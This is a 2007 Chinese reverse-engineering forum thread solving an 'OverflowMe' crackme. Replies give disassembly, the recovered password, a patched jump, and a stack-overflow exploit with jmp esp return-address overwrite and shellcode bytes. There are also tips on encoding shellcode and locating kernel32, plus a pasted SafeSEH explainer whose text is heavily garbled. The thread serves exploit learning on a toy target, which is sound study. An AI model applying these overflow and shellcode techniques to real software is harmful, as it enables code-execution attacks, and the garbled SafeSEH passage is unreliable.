首页
社区
课程
招聘
OverflowMe
发表于: 2007-1-30 12:37 8843

OverflowMe

2007-1-30 12:37
8843

程序显示“Succeed, you win!”算过去了。
只能利用溢出。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 7
支持
分享
最新回复 (14)
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
2
喜欢这个名字
2007-1-30 13:19
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
test
成功了
2007-1-30 14:32
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
很简单.
暴破.

401039 处7528 改eb28 ==> OK
2007-1-30 15:26
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
刚看到只能利用溢出....汗...
2007-1-30 15:34
0
雪    币: 209
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
ShellCode太麻烦了,偶耍耍赖皮算了
testttttc@
2007-1-30 16:33
0
雪    币: 1829
活跃值: (1377)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
7
还有其他的方法吗?
能不出错是最好了。
2007-1-30 17:10
0
雪    币: 383
活跃值: (41)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
8
00401083  |.  B0 74         mov     al, 74
00401085  |.  C64424 01 65  mov     byte ptr [esp+1], 65
0040108A  |.  884424 00     mov     byte ptr [esp], al
0040108E  |.  884424 03     mov     byte ptr [esp+3], al
00401092  |.  8B4424 0C     mov     eax, dword ptr [esp+C]
00401096  |.  C64424 02 73  mov     byte ptr [esp+2], 73            
0040109B  |.  85C0          test    eax, eax                        
0040109D  |.  C64424 04 00  mov     byte ptr [esp+4], 0              ;以上语句另[ESP]=74 65 73 74 00
==================================
转换[ESP]=test,这个就是密码
2007-1-31 09:01
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
学习中~谢谢~
2007-1-31 13:17
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
10
先随便输入2次
比如:
t 回车
t 会车
第三次比较重要,
按如下输入:
testtttt接着输入一个'c',再按住ALT输入16松开ALT,然后输入'@'后回车就看到成功提示了.
2007-1-31 18:07
0
雪    币: 313
活跃值: (440)
能力值: ( LV12,RANK:530 )
在线值:
发帖
回帖
粉丝
11
不出错就直接输入密码test就好了呵呵
2007-1-31 18:20
0
雪    币: 1829
活跃值: (1377)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
12
真惭愧,我刚刚才把这个Overflow搞定。几天前,虽然找到了溢出点,而且修改了返回地址,但是程序无法正常退出,导致我一直对这个问题耿耿于怀。
好在灵感终于来了,所以问题也随之搞定。且听我慢慢到来。

;以下是main函数
00401000   /$  83EC 08        sub esp,8
00401003   |.  56             push esi
00401004   |.  BE 02000000    mov esi,2
00401009   |>  68 54A04000    /push Overflow.0040A054          ;  ASCII "please input password:"
0040100E   |.  E8 EA010000    |call Overflow.004011FD          ;  call printf
00401013   |.  83C4 04        |add esp,4
00401016   |.  8D4424 04      |lea eax,dword ptr ss:[esp+4]
0040101A   |.  50             |push eax
0040101B   |.  68 50A04000    |push Overflow.0040A050          ;  ASCII "%s"
00401020   |.  E8 C1010000    |call Overflow.004011E6          ;  call scanf
00401025   |.  83C4 08        |add esp,8
00401028   |.  8D4C24 04      |lea ecx,dword ptr ss:[esp+4]
0040102C   |.  C64424 0B 00   |mov byte ptr ss:[esp+B],0
00401031   |.  51             |push ecx                        ; /Arg1
00401032   |.  E8 49000000    |call Overflow.00401080          ; \CheckPass
00401037   |.  84C0           |test al,al
00401039   |.  75 28          |jnz short Overflow.00401063     ;  if(al != 0) jmp
0040103B   |.  68 48A04000    |push Overflow.0040A048          ;  ASCII "error"
00401040   |.  E8 B8010000    |call Overflow.004011FD          ;  call printf
00401045   |.  83C4 04        |add esp,4
00401048   |.  8BD6           |mov edx,esi
0040104A   |.  4E             |dec esi                         ;  i--
0040104B   |.  85D2           |test edx,edx
0040104D   |.^ 75 BA          \jnz short Overflow.00401009     ;  if( i != 0 ) jmp
0040104F   |.  68 40A04000    push Overflow.0040A040           ;  ASCII "pause"
00401054   |.  E8 F7000000    call Overflow.00401150           ;  call system
00401059   |.  83C4 04        add esp,4
0040105C   |.  33C0           xor eax,eax
0040105E   |.  5E             pop esi
0040105F   |.  83C4 08        add esp,8
00401062   |.  C3             retn
00401063   |>  E8 98000000    call Overflow.00401100
00401068   |.  68 40A04000    push Overflow.0040A040           ;  ASCII "pause"
0040106D   |.  E8 DE000000    call Overflow.00401150           ;  call system
00401072   |.  83C4 04        add esp,4
00401075   |.  33C0           xor eax,eax
00401077   |.  5E             pop esi
00401078   |.  83C4 08        add esp,8
0040107B   \.  C3             retn

;这里是成功提示
004010FF       90             nop
00401100   /$  68 6CA04000    push Overflow.0040A06C           ;  ASCII "Succeed, you win!"
00401105   |.  E8 F3000000    call Overflow.004011FD           ;  printf
0040110A   |.  59             pop ecx
0040110B   \.  C3             retn

;---------------------------------------------------------------------------------------------------------


;在我们没有溢出之前,栈的情况是这个样子:

0012FF70        0040A050      ASCII "%s"
0012FF74        0012FF7C      这里是scanf的参数
0012FF78        FFFFFFFF
0012FF7C        00401590      返回到 Overflow.00401590 来自 Overflow.0040164F
0012FF80        0040A000      Overflow.0040A000
0012FF84        00401390      返回到 Overflow.<ModuleEntryPoint>+0B4 来自 Overflow.00401000
0012FF88        00000001
0012FF8C        00370F30
0012FF90        00370F78
0012FF94        7C910738      ntdll.7C910738
0012FF98        FFFFFFFF
0012FF9C        7FFDD000
0012FFA0        00000006
0012FFA4        F2AD7D04
0012FFA8        0012FF94
0012FFAC        80615CE3
0012FFB0        0012FFE0      指针到下一个 SEH 记录
0012FFB4        00403B44      SE 句柄

几天前,我的解决办法是输入字符溢出到0012FF84这个位置,将其修改为004010FF或者00401063。
这样,当main函数返回的时候将会去到成功提示,而成功提示函数执行完毕后又会返回,所以就造成了错误。
所以想修改一下溢出的方式,希望可以写个shellcode完成栈的修复工作。
这个方法确实是麻烦了一点,但是我实在没想到更好的解决方法了。

我们可以看到,从0012FF7C到0012FF83是我们可以控制的地方,一个有8个字节,本来在这里做修复返回地址的代码是刚刚好了,
但是在
0040102C   |.  C64424 0B 00   |mov byte ptr ss:[esp+B],0
这里把最后一个字节写了一个'\0',气死我了,就差一个字节。
所以只能想其他的办法,我也想过溢掉SEH地址,
但是很奇怪的是,SEH函数不能被指定在栈地址里,而且动态库里很多地方也不能指定,难道是MS的补丁?
倒是可以指定SEH到代码段里,但是这样就失去了意义,我还是不能修复程序的问题。

最后终于被我想到了一个办法,各位请看:
;---------------------------------------------------------------------------------------------------------


;
0012FF7C        CCCCCCCC
0012FF80        00CCCCCC
0012FF84        7C81518B      返回到 kernel32.7C81518B (jmp esp)
0012FF88        421E3558
0012FF8C        FF507CC1
0012FF90        33122454
0012FF94        10FFC3C0
0012FF98        FFFF0040

我输入了8个CC后,在其后输入了一个7C81518B,这个是在kernel32里的地址,其中的代码是jmp esp
接着我输入了以下代码:

0012FF88     58               pop eax
0012FF89     35 1E42C17C      xor eax,7CC1421E
0012FF8E     50               push eax                      ; 把返回地址修改为 00401393
0012FF8F     FF5424 12        call dword ptr ss:[esp+12]    ; Overflow.004010FF
0012FF93     33C0             xor eax,eax
0012FF95     C3               retn
0012FF96     FF10             call dword ptr ds:[eax]
0012FF98     40               inc eax
0012FF99     00FF             add bh,bh

这样就解决了main的返回问题,程序运行正常,最后没有错误发生,返回值为0。

这种解决方式遗憾的地方就是不能兼容,可能不同版本的系统中kernel库中7C81518B的内容不见得是jmp esp,我的系统是 xp sp2 英文版,大家的7C81518B地址内容可能和我不同,可以自己另外找一个,但是注意地址里不能有00。

而且很多指令的ASC码不能在控制台输入,要花不少时间测试出以上可以输入的指令,还请过路高手指点一二。

附件里是shellcode,复制以后当密码输入就可以了。

;---------------------------------------------------------------------------------------------------------


附上SEH修改限制的资料,忘记作者是谁了,反正不是我。
1.什麽是safeseh
    以前堆?溢出在的WINDOWS系靳中一直都是安全?铨的核心,其中覆慎seh的技戌早_?耸熘?safeseh是一?保罪和??和防止堆?中的seh被覆慎而?致利用的技戌

2.safeseh是vista的新技戌??
    safeseh?不是vista的新技戌,safeseh是xp sp2就已?引入的技戌。但是由于safeseh需要.net的?诅器?诅的image才支持,而xp sp2系靳自身所?的?和?行程序都是非.net的?诅器?诅的,所以使得safeseh在xp sp2上脞能成_?@子的耳朵,xp sp2下,堆?溢出脞要覆慎seh的地址就能蒺松?咿所有的保罪?制。因此在xp sp2?代,晷于safeseh的研究??不被重?,甚至?他的?理研究都存在很多邋锗,帐_?afeseh脞是屏蔽了??段的地址,脞要是?函?空殓地址就是被杂可的,一些safeseh的操作被锗解坐成函?地址保罪的操作。

3._?谗狯ista下safeseh才檫始办威
    vista自身?的系靳?。程序99%以上是用.net的?诅器?诅的,.net的?诅器默帐?诅?候就?在IMAGE奄?生?safeseh的支持。因此vista下的?用加蒌的系靳??乎全是?有safeseh支持的IMAGE,堆?溢出办生?覆慎呃些支持safeseh模?的SEH都能被?查出?,使得覆慎堆?中的SEH地址的技戌不再可用。

4.safeseh的??咿程
    safeseh本身的原理很??,就是在?诅器生成二咄制IMAGE的?候,把所有合法的SEH函?的地址解析出?,在IMAGE奄生成一?合法的SEH函?表,用于?常?理?候咄行?格的匹配?查。基本咿程如下(XP SP2和VISTA一?):
      加蒌咿程:
        加蒌IMAGE?,定位和坐出合法SEH函?表的地址(如果?IMAGE是不支持safeseh的,?呃?SEH函?表的地址_?),使用shareuser?存中的一?胗??加密。

        ?加密的SEH函?表的加密地址,IMAGE的檫始地址,IMAGE的樘度,合法SEH函?的?? 作_??l??放入ntdll的加蒌模????存中。
      ?常?理咿程:
* 根?堆?中SEH的地址,催帐是否?于一?IMAGE的地址空殓。
> 如果?于
    坐取ntdll的加蒌模????存??的“SEH函?表的加密地址,IMAGE的檫始地址,IMAGE的樘度,合法SEH函?的??"??
     坐出shareuser?存中的一?胗??,解密SEH函?表的加密地址,坐出真?的SEH函?表地址
* 如果?地址不_?,代表?IMAGE支持safeseh
    根?合法SEH函?的??,依次?算合法合法SEH函?的地址?和?前SEH地址咄行比蒉,如果符合?行SEH函?,如果全不符合?不?行?前SEH指定的地址,跳出不?行。
* 如果?地址_?,代表?IMAGE不支持safeseh,
                        脞要??存?于?IMAGE .code惯??的代瘁都可以?行
> 如果不?于
        ???地址的?存特征。一般?于?核空殓的未加蒌用???地址可以?行(但是其?等效于?法?行的,呃?不可能加蒌用???,可能是MS_?嗣曰笠恍┭芯空甙桑?匆??a能跳弈到如0xcccccccc地址上,以_?莛?^safeseh.)
            
   
5.vista下的safeseh的安全性
    safeseh是非常?悍的,如果一?咄程加蒌的所有模?都是支持safeseh的image,覆慎seh?得利用就根本不可能。至少VISTA下99%的系靳?是支持safeseh的image。而xp sp2 99%的系靳?是不支持safeseh的image,因此safeseh腠然是xp sp2就檫始使用的技戌,但??算是在vista下才檫始办?作用的技戌。
    ?然如果咄程存在一?不支持safeseh的IMAGE就等于整?safeseh的?制失效,不咿由于vista下支持咄程空殓胗?技戌,可以深?抵兑呃肺情?下的seh覆慎利用。

    ?然一?思路是:是否可以通咿覆慎shareuser?存中的胗??字和ntdll的SEH函?表的加密地址使得?算出?的SEH函?表的地址_??咿safeseh的保罪。不咿呃很困膣:因_??_到呃?目的除非存在下面的情?:
    情?A。知道shareuser?存中加密胗??,?能修改SEH加密地址,?需要知道ntdll加蒌的地址(胗每次??不同),且能通咿漏洞?取shareuser?存中加密胗??,通咿?算?得_?的加密地址再?入到SEH加密地址中
    情?B. 知道SEH加密地址的?值,?能修改shareuser?存中加密胗??,?需要知道ntdll加蒌的地址(胗每次??不同),且能通咿漏洞?取SEH加密地址的?字,通咿?算?得_?的加密KEY,再?入到shareuser?存中   
    情?C. 需要知道ntdll加蒌的地址,?能?改?修改SEH加密地址和shareuser?存中加密胗??。
    以上3肺情?都需要特定的妖合?件,很膣具?

6.可能的?铨
依然存在著一些可能的?铨.
第一就是支持safeseh需要.net的?诅器支持,且程序所有加蒌的IMAGE都需要支持safeseh,否?容易?致失效,但依然有大量的第三方程序和?不是使用.net?诅的
第二就是我使用的.net 2003脞?c++的windows?用的默帐?诅中就支持safeseh安全特性,在.net的?用?诅中,?于哕行?生成的托管代瘁,即使打檫安全啉?也不?支持一些安全特性,不知道.net 2005或者MS是否有最新的支持vista的.net出?
上传的附件:
2007-2-3 17:48
0
雪    币: 7309
活跃值: (3788)
能力值: (RANK:1130 )
在线值:
发帖
回帖
粉丝
13
我的shellcode是这样写的

00000000h: 33 22 73 33 90 13 40 31 ED 1E 96 7C FF 74 24 F8
00000010h: 81 74 24 F4 33 33 33 33 FF 64 24 F4         

红色部分是 jmp esp地址,可惜,就是这个地址,asc码复制进去就成了
3F 96 7C   

我这里是无法试了

栈里的代码
0012FF92    FF7424 F8       push    dword ptr ss:[esp-8]             ; Overflow.00401390
0012FF96    817424 F4 33333>xor     dword ptr ss:[esp-C], 33333333
0012FF9E    FF6424 F4       jmp     dword ptr ss:[esp-C]
2007-2-3 19:40
0
雪    币: 1829
活跃值: (1377)
能力值: (RANK:50 )
在线值:
发帖
回帖
粉丝
14
换个jmp esp地址呢?
2007-2-3 23:13
0
雪    币: 10885
活跃值: (3288)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
15
"红色部分是 jmp esp地址,可惜,就是这个地址,asc码复制进去就成了
3F 96 7C

我这里是无法试了 "

这是系统自动把某些字符过滤掉了,对于这样一个比较短的shellcode,
解决这个问题比较容易.你可以把shellcode编码通常用xor方式,然后在shellcode前加解码函数就解决了,因为shellcode比较短,所以很容易实现.

"这种解决方式遗憾的地方就是不能兼容,可能不同版本的系统中kernel库中7C81518B的内容不见得是jmp esp,我的系统是 xp sp2 英文版,大家的7C81518B地址内容可能和我不同,可以自己另外找一个,但是注意地址里不能有00。"

解决这个问题也不难,不过要增加shellcode的长度了,网上有很多资料介绍取得通用地址的方法.
其中获得kernel32地址有三中方法,
利用peb,seh等方式,这方面资料很多你可以查一查,但是这个程序shellcode的长度有一定限制,填充的字符最多只能到堆栈底部

如果赶兴趣的话,我这有些国外站的,相关的资料,感觉很不错,代码以及代码说明都很详细,东西放得乱,有机会我到电脑里翻翻,贴上来.
另外 论坛上高人翻译的unhandle shellcode book 这方面介绍也很详细,我还没抽出空来仔细看.
曾为了学习overflow建了个交流的环境有兴趣可以加入讨论这方面的.9937591
(附加消息:看雪论坛)
2007-2-4 10:03
0
游客
登录 | 注册 方可回帖
返回
//